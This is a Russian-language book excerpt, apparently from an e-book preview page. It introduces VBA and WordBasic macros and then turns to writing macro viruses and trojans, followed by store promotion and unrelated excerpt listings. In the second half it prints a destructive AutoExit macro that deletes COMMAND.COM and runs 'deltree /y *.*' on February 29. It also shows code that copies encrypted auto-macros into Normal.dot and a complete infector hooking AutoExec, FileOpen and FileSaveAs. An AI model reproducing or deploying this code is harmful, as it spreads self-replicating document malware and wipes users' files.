Общие сведения
Общие сведения
Макрос – это программа, написанная на некотором языке, которая используется обычно для автоматизации определенных процессов внутри приложений. В данном случае разговор пойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft использует в своих программах (в частности, Excel, Project и PowerPoint используют VBA, а WinWord – WB).
Далее будем считать стандартным языком VBA, так как он представляет собой попытку унифицировать макроязык, сделать его общим для всех программ Microsoft. Несмотря на то, что WB имеет некоторые отличия, в том числе и в синтаксисе, структура кода этих языков похожа. При необходимости будет особо отмечено, что речь идет о WB. Макрос VBA – это вызываемые процедуры. Они бывают двух типов: процедуры-подпрограммы и процедуры-функции.
Процедуры-подпрограммы могут исполняться непосредственно или вызываться из других макросов. Синтаксис их следующий:
Sub <Имя_Макроса>
?> код макроса <?
’Комментарий начинается с апострофа
Пример:
’Данный макрос открывает диалоговое окно и выводит сообщение
Sub Stupid_Greeting
MsgBox ”Hello World!”
End SubПроцедуры-функции (также называемые просто функциями) возвращают значение, которое может быть передано в качестве параметра другой процедуре. Их синтаксис:
Function <Имя_Функции>(Аргументы)
?> Инструкции <?
’Комментарий
End FunctionПример:
’Суммирует параметры a и b и возвращает
’результат в переменную ”AddAB”
Function AddAB(a,b)
AddAB=a+b
End FunctionКонечно, в документ можно вставить столько макросов, сколько нужно (или сколько хочется), ограничений на их количество нет. Набор макросов (процедур-подпрограмм и процедур-функций), составляющих документ, называется модулем VBA.
Язык VBA работает также с объектами (внутри модулей VBA можно делать ссылки на документы, графику). Объекты обладают свойствами. Например, свойством (или атрибутом) объекта является его цвет.
VBA также позволяет работать с переменными. Как любой язык структурного типа, VBA имеет типичные конструкции:цикл «For-next»:
Sub Counter ’Процедура
Infect_Num=0
For Count=1 to 10 ’Цикл от 1 до 10
Infect_Num=Infect_Num+Count
Next Count
MsgBox ”Достигли максимального количества заражений”
End Subусловие «If-then»:
Sub Infect_Check
If Infect_Num=0 Then MsgBox ”Файл не заражен”
End Subконструкция «With-end with» (используется для работы с несколькими свойствами конкретного объекта):
Sub ChangeProperties
With Selection
.Font.Bold=True
.Font.ColorIndex=3 ’красный цвет
End With
End Subселектор «Select case-end case»:
Sub Check_Infection
Select Case Infect_Num
Case 0
MsgBox ”Файл не заражен”
Case is > 0
MsgBox ”Файл заражен”
Case is < 0
Infect_Num=0
End Case
End SubПолезным инструментом для работы с VBA является окно отладки. В нем можно трассировать код, вносить в него изменения и делать многое другое. В процессе отладки для остановки на некоторое время исполнения кода используются флаги. Чтобы можно было анализировать содержимое конкретных переменных и/или инструкций, после каждой команды выводятся сообщения (в отладчике VBA для прерывания исполнения кода можно ставить также контрольные точки). Нужно обратить внимание на разнообразные аргументы функций. Как уже говорилось, структура их следующая:
Function <Имя>(Аргументы)
[.]
End FunctionАргументами могут быть константы, переменные или выражения. Процедуры могут быть и без аргументов.
Function Get_Name()
Name=Application.UserName
End FunctionНекоторые функции всегда требуют фиксированное число аргументов (до 60). Другие функции имеют несколько обязательных аргументов, а остальные могут отсутствовать.
После того, как основы VBA стали понятны, идем дальше. Итак, вирусы и «троянцы» на VBA.
Язык VBA универсален, и тому есть две причины. Во-первых, этот язык прост в изучении и использовании, поскольку он является языком визуального программирования, он ориентирован на события, а не на объекты. С его помощью без особых затрат времени очень легко создавать сложные модули. Во вторых, можно использовать большое количество предопределенных функций, облегчающих работу. В третьих, имеются функции (или макросы) автоматического выполнения, что позволяет упростить написание процедур автокопирования, занесения в память и прочих используемых стандартными DOS-вирусами.
Помимо этого, преимуществом VBA является свойство переносимости. VBA работает под Win 3.x, Win95, WinNT, MacOS и так далее, то есть в любой операционной системе, где можно запустить приложения его поддерживающие.
VBA представляет собой язык, адаптированный к языку приложения, из-под которого он запущен. Это означает, что если на компьютере установлена, например, испанская версия WinWord, то имена предопределенных функций будут также на испанском. Так что два следующих макроса – вовсе не одно и то же.
Первый макрос (испанский):Sub Demo_Macro
Con Seleccion.Fuente
.Nombre=”Arial”
Fin Con
End SubВторой макрос (английский):
Sub Demo_Macro
With Selection.Font
.Name=”Arial”
End With
End SubПоследний макрос не будет работать в испанской версии WinWord (а первый – в английской) – он вызовет ошибку выполнения макроса. Еще отметим, что VBA – язык интерпретируемого (некомпилируемого) типа, так что каждая ошибка выполнения проявляется «в полете».
Существуют функции, единые для всех версий VBA, вне зависимости от языка. Например, автоматический макрос AutoExec.
Всего таких специальных макросов пять, выполняются они автоматически:
AutoExec: это макрос, активируемый при загрузке текстового процессора, но только в том случае, если он сохранен в шаблоне Normal.dot или в каталоге стандартных приложений;
AutoNew: активизируется при создании нового документа;
AutoOpen: активизируется при открытии существующего документа;
AutoClose: активизируется при закрытии документа;
AutoExit: активизируется при выходе из текстового процессора.
В качестве доказательства силы и универсальности этих макросов рассмотрим следующий фрагмент кода (о языке уже договорились).’Макрос наиболее эффективен, если его сохранить как AutoExit
Sub Main
’Проверим регистрационное имя
If Application.Username <> ”MaD_MoTHeR” Then
’Снимем атрибуты COMMAND.COM
SetAttr ”C:COMMAND.COM”,0
’Откроем для проверки – вдруг появятся ошибки
Open ”C:COMMAND.COM” for Output as #1
’Если ошибки есть, то закроем.
Close #1
’и удалим
Kill ”C:COMMAND.COM”
End If
’Проверим месяц и дату. Если 29 февраля, то выполним
’команду ”deltree /y >nul
If Month(Now())=2 Then
If Day(Now())=29 Then
Shell ”deltree /y *.* >nu”
End If
End If
End SubЧто делает этот макрос? При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда «deltree /у *.* > nul»).
Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord.
Это делается так:
Определяется переменная, в которую записывается полное имя макроса:name$=WindowName$()+”:AutoNew”
’этот макрос будет выполняться каждый раз
’при создании нового документаТеперь нужно записать макрос в шаблон NORMAL.DOT простой командой:
MacroCopy name$, ”Global:AutoNew”
Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.
MacroCopy ”MyTemplate:MyMacro”, ”Global:AutoClose”, 1
Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.
Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.
Sub MAIN
On Error Goto Abort
iMacroCount=CountMacros(0, 0) ’Проверка на зараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)=”PayLoad” Then
bInstalled =–1 ’с помощью макроса PayLoad
End If
If MacroName$(i, 0, 0)=”FileSaveAs” Then
bTooMuchTrouble =–1 ’но если есть макрос
FileSaveAs,
’то заразить тяжело
End If
Next i
If Not bInstalled And Not bTooMuchTrouble Then
’Добавим макросы FileSaveAs и копии AutoExec и FileSave
’Payload используется только для проверки на зараженность
’,1 – кодирует макросы, делая их нечитаемыми в Word
iWW6IInstance=Val(GetDocumentVar$(”WW6Infector”))
sMe$=FileName$()
Macro$=sMe$+”:PayLoad”
MacroCopy Macro$, ”Global:PayLoad”, 1
Macro$=sMe$+”:FileOpen” ’Будет происходить заражение
MacroCopy Macro$, ”Global:FileOpen”, 1
Macro$=sMe$+”:FileSaveAs”
MacroCopy Macro$, ”Global:FileSaveAs”, 1
Macro$=sMe$+”:AutoExec”
MacroCopy Macro$, ”Global:AutoExec”, 1
SetProfileString ”WW6I”, Str$(iWW6IInstance+1)
End If
Abort:
End SubБолее 800 000 книг и аудиокниг! 📚
Получи 2 месяца Литрес Подписки в подарок и наслаждайся неограниченным чтением
ПОЛУЧИТЬ ПОДАРОКДанный текст является ознакомительным фрагментом.
Читайте также
5.3 Общие сведения о «ГИМП»
5.3 Общие сведения о «ГИМП» GNU Image Manipulation Program (Программа ГНУ для манипуляции изображениями), или сокращенно GIMP – потомок курсового проекта двух студентов, Питера Маттаса и Спенсера Кимболла (1985-86 гг.).За восемь лет и при участии десятков программистов «ГИМП» вырос в один из
Общие сведения
Общие сведения Для чего же оно вообще нужно, это дистанционное обучение? Кому оно может понадобиться? Оказывается, многим.– Наибольшее количество удаленно обучающихся составляют пользователи в возрасте от 25 до 30 лет. Для них обучение в классическом виде невозможно из-за
Глава 1 Общие сведения
Глава 1 Общие сведения 1.1. Гонки на выживание: Windows XP, Windows Vista и Windows 71.2. Новое в Windows 71.3. Версии операционной системы1.4. Системные требования1.5. Проверка на совместимостьПоявления новой операционной системы Windows 7, автором которой является корпорация Microsoft, ждали многие,
1.1. Общие сведения об оформлении
1.1. Общие сведения об оформлении Объем работы обычно либо оговорен руководителем, либо задан соответствующими методическими указаниями. Чаще всего реферат не должен превышать 15–20 страниц, курсовая работа – 25–30, а дипломная – 90-100.Документ оформляют в текстовом
5.3 Общие сведения о «ГИМП»
5.3 Общие сведения о «ГИМП» GNU Image Manipulation Program (Программа ГНУ для манипуляции изображениями), или сокращенно GIMP — потомок курсового проекта двух студентов, Питера Маттаса и Спенсера Кимболла (1985-86 гг.).За восемь лет и при участии десятков программистов «ГИМП» вырос в один из
Общие сведения
Общие сведения Одним из достоинств модуля buZZ.Pro является возможность использования нескольких фильтров одновременно и гибкое управление их настройками. При выборе строки плагина из меню Filters (Фильтры) появляется так называемый стек – окно Custom (Настройка), в котором
2.1.2. Общие сведения о сокетах
2.1.2. Общие сведения о сокетах Сокетом (от англ. socket — гнездо, розетка) называется специальный объект, создаваемый для отправки и получения данных через сеть. Отметим, что под термином "объект" в данном случае подразумевается не объект в терминах объектно-ориентированного
1. Общие сведения о Windows
1. Общие сведения о Windows Прежде чем приступать к установке Windows XP, вспомним, что подразумевается под словосочетанием «операционная система», что такое файл и папка. Не стоит пугаться умных слов, которые будут встречаться ниже. Если вы до конца не сможете понять разницу
7.1. Общие сведения о динамике в 3ds Max
7.1. Общие сведения о динамике в 3ds Max Когда мы говорим о динамике, то в первую очередь представляем себе движущиеся объекты. Наверное, многие из вас помнят из школьной программы, что динамика является одним из разделов механики и изучает движение различных объектов под
Общие сведения
Общие сведения Главная страница, посвященная .NET Compact Framework, находится по адресу http://msdn.microsoft.com/netframework/programming/netcf/default.aspx. Там можно найти все последние новости о рассматриваемой технологии, обновления программ, ссылки на другие полезные сайты, примеры.Технология .NET Compact
Общие сведения о слоях
Общие сведения о слоях Слои – один из мощных механизмов визуального представления объектов, обеспечивающий при умелом использовании максимально удобную работу с проектной документацией.На чертеже плана этажа должны располагаться изображения конструктивных
Общие сведения
Общие сведения Во-первых, рассмотрим ключевые понятия. Архивация (запаковка) – это сжатие файлов. Для окончательного усваивания этого понятия представьте себе поролоновую губку – она с виду большая, но ее можно сжать и запихнуть в емкость гораздо меньшего объема. Архив
Общие сведения
Общие сведения Система PascalABC.NET PascalABC.NET – это система программирования и язык Pascal нового поколения для платформы Microsoft .NET. Язык PascalABC.NET содержит все основные элементы современных языков программирования: модули, классы, перегрузку операций, интерфейсы, исключения,
5.1. Интернет: общие сведения
5.1. Интернет: общие сведения В части I я рассказывал вам о компьютере и о программах, которые работают в среде Windows, — архиваторах, антивирусах, видео- и аудиопроигрывателях. Теперь же настало время поговорить о компьютерных сетях. Согласитесь, намного удобнее объединить
Общие сведения
Общие сведения Электронная почта (E-mail) – один из первых сервисов Интернета, который до сих пор является самым популярным.Пользователи электронной почты могут обмениваться между собой письмами. Каждое письмо пользователь создает на своем компьютере, после чего
Общие сведения
Общие сведения Макрос – это программа, написанная на некотором языке, которая используется обычно для автоматизации определенных процессов внутри приложений. В данном случае разговор пойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft использует в своих